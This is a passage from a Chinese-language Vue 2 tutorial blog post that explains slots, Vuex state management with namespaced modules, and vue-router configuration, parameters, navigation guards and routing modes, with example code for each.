   changeOrigin設置爲true時,服務器收到的請求頭中的host爲:localhost:5000
   changeOrigin設置爲false時,服務器收到的請求頭中的host爲:localhost:8080
   changeOrigin默認值爲true
*/

說明:

  1. 優點:可以配置多個代理,且可以靈活的控制請求是否走代理。
  2. 缺點:配置略微繁瑣,請求資源時必須加前綴。

2.10 slot插槽

  1. 作用:讓父組件可以向子組件指定位置插入html結構,也是一種組件間通信的方式,適用於 父組件 ===> 子組件

  2. 分類:默認插槽、具名插槽、作用域插槽

  3. 使用方式:

    1. 默認插槽:

      父組件中:
              <Category>
                 <div>html結構1</div>
              </Category>
      子組件中:
              <template>
                  <div>
                     <!-- 定義插槽 -->
                     <slot>插槽默認內容...</slot>
                  </div>
              </template>
      
    2. 具名插槽:

      父組件中:
              <Category>
                  <template slot="center">
                    <div>html結構1</div>
                  </template>
      
                  <template v-slot:footer>
                     <div>html結構2</div>
                  </template>
              </Category>
      子組件中:
              <template>
                  <div>
                     <!-- 定義插槽 -->
                     <slot name="center">插槽默認內容...</slot>
                     <slot name="footer">插槽默認內容...</slot>
                  </div>
              </template>
      
    3. 作用域插槽:

      1. 理解:數據在組件的自身(子組件),但根據數據生成的結構需要組件的使用者(父組件)來決定。(games數據在Category(子)組件中,但使用數據所遍歷出來的結構由App(父)組件決定)

      2. 具體編碼:

        父組件中:
        		<Category>
        			<template scope="scopeData">
        				<!-- 生成的是ul列表 -->
        				<ul>
        					<li v-for="g in scopeData.games" :key="g">{{g}}</li>
        				</ul>
        			</template>
        		</Category>
        
        		<Category>
        			<template slot-scope="scopeData">
        				<!-- 生成的是h4標題 -->
        				<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
        			</template>
        		</Category>
        子組件中:
                <template>
                    <div>
                    <!-- 通過數據綁定就可以把子組件的數據傳到父組件 -->
                        <slot :games="games"></slot>
                    </div>
                </template>
        		
                <script>
                    export default {
                        name:'Category',
                        props:['title'],
                        //數據在子組件自身
                        data() {
                            return {
                                games:['紅色警戒','穿越火線','勁舞團','超級瑪麗']
                            }
                        },
                    }
                </script>
        

3. VUEX

原理圖:

在這裏插入圖片描述

3.1 概念

​ 在Vue中實現集中式狀態(數據)管理的一個Vue插件,對vue應用中多個組件的共享狀態進行集中式的管理(讀/寫),也是一種組件間通信的方式,且適用於任意組件間通信。

3.2 何時使用?

​ 多個組件需要共享數據時

3.3 搭建vuex環境

  1. 創建文件:src/store/index.js

    //引入Vue核心庫
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //應用Vuex插件
    Vue.use(Vuex)
    
    //準備actions對象——響應組件中用戶的動作
    const actions = {}
    //準備mutations對象——修改state中的數據
    const mutations = {}
    //準備state對象——保存具體的數據
    const state = {}
    
    //創建並暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state
    })
    
  2. main.js中創建vm時傳入store配置項

    ......
    //引入store
    import store from './store'
    ......
    
    //創建vm
    new Vue({
    	el:'#app',
    	render: h => h(App),
    	store
    })
    

3.4 基本使用

  1. 初始化數據、配置actions、配置mutations,操作文件store.js

    //引入Vue核心庫
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //引用Vuex
    Vue.use(Vuex)
    
    const actions = {
        //響應組件中加的動作
    	jia(context,value){
    		// console.log('actions中的jia被調用了',miniStore,value)
    		context.commit('JIA',value)
    	},
    }
    
    const mutations = {
        //執行加
    	JIA(state,value){
    		// console.log('mutations中的JIA被調用了',state,value)
    		state.sum += value
    	}
    }
    
    //初始化數據
    const state = {
       sum:0
    }
    
    //創建並暴露store
    export default new Vuex.Store({
    	actions,
    	mutations,
    	state,
    })
    
  2. 組件中讀取vuex中的數據:$store.state.sum

  3. 組件中修改vuex中的數據:$store.dispatch('action中的方法名',數據)$store.commit('mutations中的方法名',數據)

    備註:若沒有網絡請求或其他業務邏輯,組件中也可以越過actions,即不寫dispatch,直接編寫commit

具體案例:

index.js

//該文件用於創建Vuex中最爲核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//應用Vuex插件
Vue.use(Vuex)

//準備actions——用於響應組件中的動作
const actions = {
	/* jia(context,value){
		console.log('actions中的jia被調用了')
		context.commit('JIA',value)
	},
	jian(context,value){
		console.log('actions中的jian被調用了')
		context.commit('JIAN',value)
	}, */
	jiaOdd(context,value){
		console.log('actions中的jiaOdd被調用了')
		if(context.state.sum % 2){
			context.commit('JIA',value)
		}
	},
	jiaWait(context,value){
		console.log('actions中的jiaWait被調用了')
		setTimeout(()=>{
			context.commit('JIA',value)
		},500)
	}
}
//準備mutations——用於操作數據(state)
const mutations = {
	JIA(state,value){
		console.log('mutations中的JIA被調用了')
		state.sum += value
	},
	JIAN(state,value){
		console.log('mutations中的JIAN被調用了')
		state.sum -= value
	}
}
//準備state——用於存儲數據
const state = {
	sum:0 //當前的和
}

//創建並暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})

Count.vue

<template>
	<div>
		<h1>當前求和爲:{{$store.state.sum}}</h1>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment">+</button>
		<button @click="decrement">-</button>
		<button @click="incrementOdd">當前求和爲奇數再加</button>
		<button @click="incrementWait">等一等再加</button>
	</div>
</template>

<script>
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用戶選擇的數字
			}
		},
		methods: {
			increment(){
                // commit 是操作 mutations
				this.$store.commit('JIA',this.n)
			},
			decrement(){
                // commit 是操作 mutations
				this.$store.commit('JIAN',this.n)
			},
			incrementOdd(){
                // dispatch 是操作 actions
				this.$store.dispatch('jiaOdd',this.n)
			},
			incrementWait(){
                // dispatch 是操作 actions
				this.$store.dispatch('jiaWait',this.n)
			},
		},
		mounted() {
			console.log('Count',this)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

3.5 getters的使用

  1. 概念:當state中的數據需要經過加工後再使用時,可以使用getters加工。

  2. store.js中追加getters配置

    ......
    
    const getters = {
    	bigSum(state){
    		return state.sum * 10
    	}
    }
    
    //創建並暴露store
    export default new Vuex.Store({
    	......
    	getters
    })
    
  3. 組件中讀取數據:$store.getters.bigSum

3.6 四個map方法的使用

導入

import {mapState, mapGetters, mapActions, mapMutations} from 'vuex'
  1. mapState方法:用於幫助我們映射state中的數據爲計算屬性

    computed: {
        //藉助mapState生成計算屬性:sum、school、subject(對象寫法)
         ...mapState({sum:'sum',school:'school',subject:'subject'}),
             
        //藉助mapState生成計算屬性:sum、school、subject(數組寫法)
        ...mapState(['sum','school','subject']),
    },
    
  2. mapGetters方法:用於幫助我們映射getters中的數據爲計算屬性

    computed: {
        //藉助mapGetters生成計算屬性:bigSum(對象寫法)
        ...mapGetters({bigSum:'bigSum'}),
    
        //藉助mapGetters生成計算屬性:bigSum(數組寫法)
        ...mapGetters(['bigSum'])
    },
    
  3. mapActions方法:用於幫助我們生成與actions對話的方法,即:包含$store.dispatch(xxx)的函數

    methods:{
        //靠mapActions生成:incrementOdd、incrementWait(對象形式)
        ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
        //靠mapActions生成:incrementOdd、incrementWait(數組形式)
        ...mapActions(['jiaOdd','jiaWait'])
    }
    
  4. mapMutations方法:用於幫助我們生成與mutations對話的方法,即:包含$store.commit(xxx)的函數

    methods:{
        //靠mapActions生成:increment、decrement(對象形式)
        ...mapMutations({increment:'JIA',decrement:'JIAN'}),
        
        //靠mapMutations生成:JIA、JIAN(對象形式)
        ...mapMutations(['JIA','JIAN']),
    }
    

備註:mapActions與mapMutations使用時,若需要傳遞參數需要:在模板中綁定事件時傳遞好參數,否則傳的參數是事件對象(event)。

具體案例:

<template>
  <div>
    <h1>當前求和爲:{{ sum }}</h1>
    <h3>當前求和放大10倍爲:{{ bigSum }}</h3>
    <h3>年齡:{{ age }}</h3>
    <h3>姓名:{{name}}</h3>
    <select v-model.number="n">
      <option value="1">1</option>
      <option value="2">2</option>
      <option value="3">3</option>
    </select>
	<!-- 用了mapActions 和 mapMutations 的話要主動傳參 -->
    <button @click="increment(n)">+</button>
    <button @click="decrement(n)">-</button>
    <button @click="incrementOdd(n)">當前求和爲奇數再加</button>
    <button @click="incrementWait(n)">等一等再加</button>
  </div>
</template>

<script>
import { mapState, mapGetters, mapActions, mapMutations } from 'vuex'
export default {
  name: "Count",
  data() {
    return {
      n: 1, //用戶選擇的數字
    };
  },
  computed: {
	...mapState(['sum', 'age', 'name']),
	...mapGetters(['bigSum'])  
  },
  methods: {
    ...mapActions({incrementOdd: 'sumOdd', incrementWait: 'sumWait'}),
    ...mapMutations({increment: 'sum', decrement: 'reduce'})
  },
  mounted() {
    console.log("Count", this);
  },
};
</script>

<style lang="css">
button {
  margin-left: 5px;
}
</style>

3.7 模塊化+命名空間

  1. 目的:讓代碼更好維護,讓多種數據分類更加明確。

  2. 修改store.js

    const countAbout = {
      namespaced:true,//開啓命名空間
      state:{x:1},
      mutations: { ... },
      actions: { ... },
      getters: {
        bigSum(state){
           return state.sum * 10
        }
      }
    }
    
    const personAbout = {
      namespaced:true,//開啓命名空間
      state:{ ... },
      mutations: { ... },
      actions: { ... }
    }
    
    const store = new Vuex.Store({
      modules: {
        countAbout,
        personAbout
      }
    })
    
  3. 開啓命名空間後,組件中讀取state數據:

    //方式一:自己直接讀取
    this.$store.state.personAbout.list
    //方式二:藉助mapState讀取:
    // 用 mapState 取 countAbout 中的state 必須加上 'countAbout'
    ...mapState('countAbout',['sum','school','subject']),
    
  4. 開啓命名空間後,組件中讀取getters數據:

    //方式一:自己直接讀取
    this.$store.getters['personAbout/firstPersonName']
    //方式二:藉助mapGetters讀取:
    ...mapGetters('countAbout',['bigSum'])
    
  5. 開啓命名空間後,組件中調用dispatch

    //方式一:自己直接dispatch
    this.$store.dispatch('personAbout/addPersonWang',person)
    //方式二:藉助mapActions:
    ...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
    
  6. 開啓命名空間後,組件中調用commit

    //方式一:自己直接commit
    this.$store.commit('personAbout/ADD_PERSON',person)
    //方式二:藉助mapMutations:
    ...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
    

具體案例:
count.js

//求和相關的配置
export default {
	namespaced:true,
	actions:{
		jiaOdd(context,value){
			console.log('actions中的jiaOdd被調用了')
			if(context.state.sum % 2){
				context.commit('JIA',value)
			}
		},
		jiaWait(context,value){
			console.log('actions中的jiaWait被調用了')
			setTimeout(()=>{
				context.commit('JIA',value)
			},500)
		}
	},
	mutations:{
		JIA(state,value){
			console.log('mutations中的JIA被調用了')
			state.sum += value
		},
		JIAN(state,value){
			console.log('mutations中的JIAN被調用了')
			state.sum -= value
		},
	},
	state:{
		sum:0, //當前的和
		school:'尚硅谷',
		subject:'前端',
	},
	getters:{
		bigSum(state){
			return state.sum*10
		}
	},
}

person.js

//人員管理相關的配置
import axios from 'axios'
import { nanoid } from 'nanoid'
export default {
	namespaced:true,
	actions:{
		addPersonWang(context,value){
			if(value.name.indexOf('王') === 0){
				context.commit('ADD_PERSON',value)
			}else{
				alert('添加的人必須姓王!')
			}
		},
		addPersonServer(context){
			axios.get('https://api.uixsj.cn/hitokoto/get?type=social').then(
				response => {
					context.commit('ADD_PERSON',{id:nanoid(),name:response.data})
				},
				error => {
					alert(error.message)
				}
			)
		}
	},
	mutations:{
		ADD_PERSON(state,value){
			console.log('mutations中的ADD_PERSON被調用了')
			state.personList.unshift(value)
		}
	},
	state:{
		personList:[
			{id:'001',name:'張三'}
		]
	},
	getters:{
		firstPersonName(state){
			return state.personList[0].name
		}
	},
}

index.js

//該文件用於創建Vuex中最爲核心的store
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
import countOptions from './count'
import personOptions from './person'
//應用Vuex插件
Vue.use(Vuex)

//創建並暴露store
export default new Vuex.Store({
	modules:{
		countAbout:countOptions,
		personAbout:personOptions
	}
})

count.vue

<template>
	<div>
		<h1>當前求和爲:{{sum}}</h1>
		<h3>當前求和放大10倍爲:{{bigSum}}</h3>
		<h3>我在{{school}},學習{{subject}}</h3>
		<h3 style="color:red">Person組件的總人數是:{{personList.length}}</h3>
		<select v-model.number="n">
			<option value="1">1</option>
			<option value="2">2</option>
			<option value="3">3</option>
		</select>
		<button @click="increment(n)">+</button>
		<button @click="decrement(n)">-</button>
		<button @click="incrementOdd(n)">當前求和爲奇數再加</button>
		<button @click="incrementWait(n)">等一等再加</button>
	</div>
</template>

<script>
	import {mapState,mapGetters,mapMutations,mapActions} from 'vuex'
	export default {
		name:'Count',
		data() {
			return {
				n:1, //用戶選擇的數字
			}
		},
		computed:{
			//藉助mapState生成計算屬性,從state中讀取數據。(數組寫法)
			...mapState('countAbout',['sum','school','subject']),
			...mapState('personAbout',['personList']),
			//藉助mapGetters生成計算屬性,從getters中讀取數據。(數組寫法)
			...mapGetters('countAbout',['bigSum'])
		},
		methods: {
			//藉助mapMutations生成對應的方法,方法中會調用commit去聯繫mutations(對象寫法)
			...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),
			//藉助mapActions生成對應的方法,方法中會調用dispatch去聯繫actions(對象寫法)
			...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
		},
		mounted() {
			console.log(this.$store)
		},
	}
</script>

<style lang="css">
	button{
		margin-left: 5px;
	}
</style>

person.vue

<template>
	<div>
		<h1>人員列表</h1>
		<h3 style="color:red">Count組件求和爲:{{sum}}</h3>
		<h3>列表中第一個人的名字是:{{firstPersonName}}</h3>
		<input type="text" placeholder="請輸入名字" v-model="name">
		<button @click="add">添加</button>
		<button @click="addWang">添加一個姓王的人</button>
		<button @click="addPersonServer">添加一個人,名字隨機</button>
		<ul>
			<li v-for="p in personList" :key="p.id">{{p.name}}</li>
		</ul>
	</div>
</template>

<script>
	import {nanoid} from 'nanoid'
	export default {
		name:'Person',
		data() {
			return {
				name:''
			}
		},
		computed:{
			personList(){
				return this.$store.state.personAbout.personList
			},
			sum(){
				return this.$store.state.countAbout.sum
			},
			firstPersonName(){
				return this.$store.getters['personAbout/firstPersonName']
			}
		},
		methods: {
			add(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.commit('personAbout/ADD_PERSON',personObj)
				this.name = ''
			},
			addWang(){
				const personObj = {id:nanoid(),name:this.name}
				this.$store.dispatch('personAbout/addPersonWang',personObj)
				this.name = ''
			},
			addPersonServer(){
				this.$store.dispatch('personAbout/addPersonServer')
			}
		},
	}
</script>

4. 路由

  1. 理解: 一個路由(route)就是一組映射關係(key - value),多個路由需要路由器(router)進行管理。
  2. 前端路由:key是路徑,value是組件。

4.1 基本使用

  1. 安裝vue-router,命令:npm i vue-router

  2. 應用插件:Vue.use(VueRouter)

  3. 編寫router配置項:

    //引入VueRouter
    import VueRouter from 'vue-router'
    //引入Luyou 組件
    import About from '../components/About'
    import Home from '../components/Home'
    
    //創建router實例對象,去管理一組一組的路由規則
    const router = new VueRouter({
    	routes:[
    		{
    			path:'/about',
    			component:About
    		},
    		{
    			path:'/home',
    			component:Home
    		}
    	]
    })
    
    //暴露router
    export default router
    
  4. 實現切換(active-class可配置高亮樣式)

    <router-link active-class="active" to="/about">About</router-link>
    
  5. 指定展示位置

    <router-view></router-view>
    

4.2 幾個注意點

  1. 路由組件通常存放在pages文件夾,一般組件通常存放在components文件夾。
  2. 通過切換,“隱藏”了的路由組件,默認是被銷燬掉的,需要的時候再去掛載。
  3. 每個組件都有自己的$route屬性,裏面存儲着自己的路由信息。
  4. 整個應用只有一個router,可以通過組件的$router屬性獲取到。

4.3 多級路由(多級路由)

  1. 配置路由規則,使用children配置項:

    routes:[
    	{
    		path:'/about',
    		component:About,
    	},
    	{
    		path:'/home',
    		component:Home,
    		children:[ //通過children配置子級路由
    			{
    				path:'news', //此處一定不要寫:/news
    				component:News
    			},
    			{
    				path:'message',//此處一定不要寫:/message
    				component:Message
    			}
    		]
    	}
    ]
    
  2. 跳轉(要寫完整路徑):

    <router-link to="/home/news">News</router-link>
    
  3. 指定展示位置

    <router-view></router-view>
    

4.4 路由的query參數

  1. 傳遞參數

    <!-- 跳轉並攜帶query參數,to的字符串寫法 -->
    <router-link :to="/home/message/detail?id=666&title=你好">跳轉</router-link>
    				
    <!-- 跳轉並攜帶query參數,to的對象寫法 -->
    <router-link 
    	:to="{
    		path:'/home/message/detail',
    		query:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳轉</router-link>
    
  2. 接收參數:

    $route.query.id
    $route.query.title
    

4.5 命名路由

  1. 作用:可以簡化路由的跳轉。

  2. 如何使用

    1. 給路由命名:

      {
      	path:'/demo',
      	component:Demo,
      	children:[
      		{
      			path:'test',
      			component:Test,
      			children:[
      				{
                            name:'hello' //給路由命名
      					path:'welcome',
      					component:Hello,
      				}
      			]
      		}
      	]
      }
      
    2. 簡化跳轉:

      <!--簡化前,需要寫完整的路徑 -->
      <router-link to="/demo/test/welcome">跳轉</router-link>
      
      <!--簡化後,直接通過名字跳轉 -->
      <router-link :to="{name:'hello'}">跳轉</router-link>
      
      <!--簡化寫法配合傳遞參數 -->
      <router-link 
      	:to="{
      		name:'hello',
      		query:{
      		   id:666,
                  title:'你好'
      		}
      	}"
      >跳轉</router-link>
      

4.6 路由的params參數

  1. 配置路由,聲明接收params參數

    {
    	path:'/home',
    	component:Home,
    	children:[
    		{
    			path:'news',
    			component:News
    		},
    		{
    			component:Message,
    			children:[
    				{
    					name:'xiangqing',
    					path:'detail/:id/:title', //使用佔位符聲明接收params參數
    					component:Detail
    				}
    			]
    		}
    	]
    }
    
  2. 傳遞參數

    <!-- 跳轉並攜帶params參數,to的字符串寫法 -->
    <router-link :to="/home/message/detail/666/你好">跳轉</router-link>
    				
    <!-- 跳轉並攜帶params參數,to的對象寫法 -->
    <router-link 
    	:to="{
    		name:'xiangqing',
    		params:{
    		   id:666,
                title:'你好'
    		}
    	}"
    >跳轉</router-link>
    

    特別注意:路由攜帶params參數時,若使用to的對象寫法,則不能使用path配置項,必須使用name配置!

  3. 接收參數:

    $route.params.id
    $route.params.title
    

4.7 路由的props配置

作用:讓路由組件更方便的收到參數

{
	name:'xiangqing',
	path:'detail/:id',
	component:Detail,

	//第一種寫法:props值爲對象,該對象中所有的key-value的組合最終都會通過props傳給Detail組件
	// props:{a:900}

	//第二種寫法:props值爲布爾值,布爾值爲true,則把路由收到的所有params參數通過props傳給Detail組件
	// props:true
	
	//第三種寫法:props值爲函數,該函數返回的對象中每一組key-value都會通過props傳給Detail組件
	props($route) {
		return {
		  id: $route.query.id,
		  title:$route.query.title,
		  a: 1,
		  b: 'hello'
		}
	}
}

方便在要跳轉去的組件裏更簡便的寫法

跳轉去組件的具體代碼

<template>
  <ul>
      <h1>Detail</h1>
      <li>消息編號:{{id}}</li>
      <li>消息標題:{{title}}</li>
      <li>a:{{a}}</li>
      <li>b:{{b}}</li>
  </ul>
</template>

<script>
export default {
    name: 'Detail',
    props: ['id', 'title', 'a', 'b'],
    mounted () {
        console.log(this.$route);
    }
}
</script>

<style>

</style>

4.8 <router-link>的replace屬性

  1. 作用:控制路由跳轉時操作瀏覽器歷史記錄的模式
  2. 瀏覽器的歷史記錄有兩種寫入方式:分別爲pushreplacepush是追加歷史記錄,replace是替換當前記錄。路由跳轉時候默認爲push
  3. 如何開啓replace模式:<router-link replace .......>News</router-link>

4.9 編程式路由導航

  1. 作用:不借助<router-link> 實現路由跳轉,讓路由跳轉更加靈活

  2. 具體編碼:

    //$router的兩個API
    this.$router.push({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    
    this.$router.replace({
    	name:'xiangqing',
    		params:{
    			id:xxx,
    			title:xxx
    		}
    })
    this.$router.forward() //前進
    this.$router.back() //後退
    this.$router.go() //可前進也可後退
    

4.10 緩存路由組件

  1. 作用:讓不展示的路由組件保持掛載,不被銷燬。

  2. 具體編碼:

    這個 include 指的是組件名

    <keep-alive include="News"> 
        <router-view></router-view>
    </keep-alive>
    

4.11 兩個新的生命週期鉤子

作用:路由組件所獨有的兩個鉤子,用於捕獲路由組件的激活狀態。
具體名字:

  • activated路由組件被激活時觸發。
  • deactivated路由組件失活時觸發。

這兩個生命週期鉤子需要配合前面的緩存路由組件使用(沒有緩存路由組件不起效果)

4.12 路由守衛

  1. 作用:對路由進行權限控制

  2. 分類:全局守衛、獨享守衛、組件內守衛

  3. 全局守衛:

    //全局前置守衛:初始化時執行、每次路由切換前執行
    router.beforeEach((to,from,next)=>{
    	console.log('beforeEach',to,from)
    	if(to.meta.isAuth){ //判斷當前路由是否需要進行權限控制
    		if(localStorage.getItem('school') === 'zhejiang'){ //權限控制的具體規則
    			next() //放行
    		}else{
    			alert('暫無權限查看')
    			// next({name:'guanyu'})
    		}
    	}else{
    		next() //放行
    	}
    })
    
    //全局後置守衛:初始化時執行、每次路由切換後執行
    router.afterEach((to,from)=>{
    	console.log('afterEach',to,from)
    	if(to.meta.title){ 
    		document.title = to.meta.title //修改網頁的title
    	}else{
    		document.title = 'vue_test'
    	}
    })
    

    完整代碼

// 這個文件專門用於創建整個應用的路由器
import VueRouter from 'vue-router'
// 引入組件
import About from '../pages/About.vue'
import Home from '../pages/Home.vue'
import Message from '../pages/Message.vue'
import News from '../pages/News.vue'
import Detail from '../pages/Detail.vue'
// 創建並暴露一個路由器
const router = new VueRouter({
    routes: [
        {
            path: '/home',
            component: Home,
            meta:{title:'主頁'},
            children: [
                {
                    path: 'news',
                    component: News,
                    meta:{isAuth:true,title:'新聞'}
                },
                {
                    path: 'message',
                    name: 'mess',
                    component: Message,
                    meta:{isAuth:true,title:'消息'},
                    children: [
                        {
                            path: 'detail/:id/:title',
                            name: 'xiangqing',
                            component: Detail,
                            meta:{isAuth:true,title:'詳情'},
                            props($route) {
                                return {
                                    id: $route.query.id,
                                    title:$route.query.title,
									a: 1,
									b: 'hello'
                                }
                            }
                        }
                    ]
                }
            ]
        },
        {
            path: '/about',
            component: About,
            meta:{ title: '關於' }
        }
    ]
})

// 全局前置路由守衛————初始化的時候被調用、每次路由切換之前被調用
router.beforeEach((to, from, next) => {
    console.log('前置路由守衛', to, from);
    if(to.meta.isAuth) {
        if(localStorage.getItem('school') === 'zhejiang') {
            // 放行
            next()
        } else {
            alert('學校名不對,無權查看')
        }
    } else {
        next()
    }
})

// 全局後置路由守衛————初始化的時候被調用、每次路由切換之後被調用
router.afterEach((to, from) => {
    console.log('後置路由守衛', to, from)
    document.title = to.meta.title || '我的系統'
})

export default router
  1. 獨享守衛:

就是在 routes 子路由內寫守衛

beforeEnter(to,from,next){
	console.log('beforeEnter',to,from)
	if(to.meta.isAuth){ //判斷當前路由是否需要進行權限控制
		if(localStorage.getItem('school') === 'atguigu'){
			next()
		}else{
			alert('暫無權限查看')
			// next({name:'guanyu'})
		}
	}else{
		next()
	}
}

在這裏插入圖片描述

  1. 組件內守衛:

在具體組件內寫守衛

//進入守衛:通過路由規則,進入該組件時被調用
beforeRouteEnter (to, from, next) {
},
//離開守衛:通過路由規則,離開該組件時被調用
beforeRouteLeave (to, from, next) {
}

在這裏插入圖片描述

4.13 路由器的兩種工作模式

  1. 對於一個url來說,什麼是hash值?—— #及其後面的內容就是hash值。

  2. hash值不會包含在 HTTP 請求中,即:hash值不會帶給服務器。

  3. hash模式:

    1. 地址中永遠帶着#號,不美觀 。
    2. 若以後將地址通過第三方手機app分享,若app校驗嚴格,則地址會被標記爲不合法。
    3. 兼容性較好。
  4. history模式:

    1. 地址乾淨,美觀 。
    2. 兼容性和hash模式相比略差。
    3. 應用部署上線時需要後端人員支持,解決刷新頁面服務端404的問題。

在這裏插入圖片描述

參考文章:

  1. 尚硅谷主講的vue:https://www.bilibili.com/video/BV1Zy4y1K7SH?p=77&spm_id_from=pageDriver
  2. 現代JavaScript:https://zh.javascript.info/
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章